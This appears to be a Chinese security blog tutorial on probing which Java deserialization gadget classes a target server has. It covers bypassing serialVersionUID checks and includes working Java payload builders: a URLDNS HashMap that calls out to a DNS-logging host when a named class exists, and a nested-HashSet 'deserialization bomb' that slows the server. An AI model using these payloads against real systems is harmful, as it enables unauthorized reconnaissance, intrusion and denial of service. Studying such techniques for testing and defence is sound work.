Java反序列化Gadget探测
发表于:2025-07-30 | 分类: Java

Java反序列化Gadget探测

前言

之前面试的时候,有问过我:”在黑盒测试中,找到一个反序列化过程的点,你该怎么找可用的Gadget“,当时不太清楚有这种方式,回答所有gadget都爆破一下……今天来看一下如何用URLDNS链探测可用Gadget

背景

虽然将所有的gadget都测试一遍的方法也是可行的,但是单纯的盲测工作量会非常巨大,而且也无法确定由于什么原因导致的无法RCE。

原因包括但不限于以下这些:

  1. 无导入gadget依赖的jar包
  2. suid不一致
  3. 导入jar包为不存在漏洞的版本
  4. gadget使用的class类进入了黑名单

构造Java类探测反序列化gadget

如果构造一个Java类来探测反序列化Gadget,那么我们就需要考虑它的通用性。因此这个类最好是JDK中自带的类,并且这个

解决serialVersionUID问题

我们之前有了解过serialVersionUID,**Java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的,**在Java原生反序列化时会检测serialVersionUID。当我们在本地构造的序列化Class和服务器上Class SUID不同时,就算服务器上真实存在这个类,我们也无法成功反序列化。

对于serialVersionUID的检测在该方法中ObjectStreamClass#initNonProxy,检测代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void initNonProxy(ObjectStreamClass model,
Class<?> cl,
ClassNotFoundException resolveEx,
ObjectStreamClass superDesc)
throws InvalidClassException{
// model是基于序列化数据构造的ObjectStreamClass对象
suid = Long.valueOf(model.getSerialVersionUID());
serializable = model.serializable;
externalizable = model.externalizable;
......

if (cl != null) {
// 通过类名,基于当前运行环境构造的ObjectStreamClass
localDesc = lookup(cl, true);
......
// SUID检查条件:是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同
if (serializable == localDesc.serializable &&
!cl.isArray() &&
suid.longValue() != localDesc.getSerialVersionUID())
{
throw new InvalidClassException(localDesc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
localDesc.getSerialVersionUID());
}
......
}
......
}

对于SUID的检测中,有三个条件:继承Serializable接口的情况是否一致、不是数组、SUID不相同。想绕过SUID的检测,只需要让前面的两个条件不成立即可。

假设在我们想要探测A类是否存在时,有以下两种方法可用:

  1. 通过javassist动态生成一个A类,但是不实现Serializable接口。当服务器上的A类存在,并且继承Serializable接口时,那么第一个条件serializable == localDesc.serializable就不成立,即可绕过SUID检测;当服务器上A类存在,但是并没有继承Serializable接口时,那么两个类的SUID都为0,那么第三个条件就不符合。
  2. 直接序列化A类数组A[].class,第二个条件直接不符合,就不需要考虑是否都继承或不继承Serializable接口和SUID是否相同

方法一

下面是通过javassist来动态生成Class的方法

1
2
3
4
5
6
7
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}

方法二

对于第二个条件,可以直接序列化A[].class进行绕过

1
A[].class

一次的失败的构造

在看c0n1y师傅的文章时,在构造探测类时使用《包裹大量脏数据绕过WAF的思路》来构造,使用的是LinkedList

但在测试过程中发现,在反序列化LinkedList第一个元素失败时,并不会导致反序列化的流程停止。

1
2
3
List<Object> list = new LinkedList<Object>();
list.add(makeClass("TargetClass"));
list.add(new URLDNS.getObject("http://xxx.dnslog.cn"));

我们可以看到ObjectInputStream#readObject的方法内,有try catch的包裹,因此ClassNotFoundException并不能阻断反序列化ObjectInputStream#readObject的内部流程,但是可以阻断其他可序列化类的readObject流程。

就是说我们需要让ClassNotFoundException异常来阻断source到sink之间的通路

通过DNSLOG探测Class

最后发现,可以在HashMap#readObject处进行阻断。

在反序列化key-value时,如果在value反序列化时,若没有该类,抛出ClassNotFound异常时,那么就会退出for循环,就不能到达putVal方法内,也就无法触发DNS请求。反之,就可以到达putVal方法从而触发DNS请求,达到探测gadget的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
// 序列化要探测的Class
K key = (K) s.readObject();
// 反序列化URL对象
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}

最后学习一下怎么构造,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com;


import javassist.ClassPool;
import javassist.CtClass;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedList;

public class urldns {

public static void serialize(Object object)throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static Object deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}

public static Object makeClass(String className) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(className);
Class aClass = ctClass.toClass();
ctClass.defrost();
return aClass;
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static Object getObject(String commond) throws Exception {
String[] cmds = commond.split("\\|");

if (cmds.length != 2){
System.out.println("<url> | <class name>");
return null;
}
String url = cmds[0];
String className = cmds[1];

HashMap hashMap = new HashMap();
URL u = new URL(url);
setFieldValue(u,"hashCode",1);
hashMap.put(u,makeClass(className));

setFieldValue(u,"hashCode",-1);

return hashMap;
}

public static void main(String[] args) throws Exception {
// HashMap map = (HashMap) getObject("http://gkoqfayloq.lfcx.eu.org|Sean");
// serialize(map);
deserialize();
}
}

反序列化炸弹探测gadget

在有些情况下,目标可能并不出网或者没有配置DNS服务,就无法通过DNS来探测

c0ny1师傅的文章中写到了这种:通过构造特殊的多层签到HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器部分性能到达延时的作用来探测Class。(上次见类似的方式还是在SQL的延时注入中)

实际这个脚本是没太看明白的,不知道怎么构造的反序列化炸弹(师傅们大学好好学数据结构什么的,要不然时间复杂度什么的都搞不明白),直接借来c0ny1师傅的脚本看一下吧

由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25到28之间,切记不要设置太大否则造成DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@Authors({ Authors.C0NY1 })
public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {
int depth;
String className = null;

if(command.contains("|")){
String[] x = command.split("\\|");
className = x[0];
depth = Integer.valueOf(x[1]);
}else{
className = command;
depth = 28;
}

Class findClazz = makeClass(className);
Set<Object> root = new HashSet<Object>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<Object>();
for (int i = 0; i < depth; i++) {
Set<Object> t1 = new HashSet<Object>();
Set<Object> t2 = new HashSet<Object>();
t1.add(findClazz);

s1.add(t1);
s1.add(t2);

s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}

当探测类存在时,就会达到延时的效果,如果所探测的类不存在,那么就不会延时。

CheckList

如果在实战中使用的话,那么就需要有class的checklist备用。如果维护好一个不错的CheckList,可以判断很多东西:

工具的话可以看c0ny1师傅的ysoserial-for-woodpecker:https://github.com/woodpecker-framework/ysoserial-for-woodpecker

  1. OracleJdk or OpenJdk
  2. JRE or JDK
  3. 中间件的类型(辅助构造回显与内存马)
  4. 使用的Web框架
  5. BCEL ClassLoader是否存在
  6. 判断Java版本
  7. ……

参考文章

构造java探测class反序列化gadget:https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA?poc_token=HOvegWijiXqVnyqFXJ3yo0NnScMLyq8qAGJ0_0HR

上一篇:
Java中的模板注入
下一篇:
JDBC反序列化-PostgreSQL